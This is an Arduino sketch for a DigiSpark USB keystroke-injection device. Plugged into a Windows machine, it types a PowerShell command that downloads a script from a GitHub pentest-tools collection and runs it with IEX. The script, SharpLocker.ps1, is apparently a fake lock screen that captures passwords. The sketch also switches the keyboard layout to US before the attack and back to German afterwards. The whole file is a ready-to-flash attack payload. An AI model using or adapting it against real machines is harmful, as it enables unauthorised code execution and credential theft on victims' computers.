//This DigiSpark scripts downloads and executes a powershell script in hidden mode. #include "DigiKeyboardDE.h" void setup() { } void loop() { // Open PowerShell DigiKeyboard.sendKeyStroke(0); DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); // Set Layout to US DigiKeyboard.print("Set"); DigiKeyboard.sendKeyStroke(56); DigiKeyboard.print("WinUserLanguageList "); DigiKeyboard.sendKeyStroke(56); DigiKeyboard.print("Force en"); DigiKeyboard.sendKeyStroke(56); DigiKeyboard.print("US"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); // Exploit (Add your code here) DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/LuemmelSec/Pentest-Tools-Collection/main/tools/SharpLocker.ps1')"); DigiKeyboard.sendKeyStroke(KEY_ENTER); // Set Layout to DE DigiKeyboard.sendKeyStroke(0); DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.print("Set-WinUserLanguageList -Force de-DE"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); for (;;) { /*empty*/ } }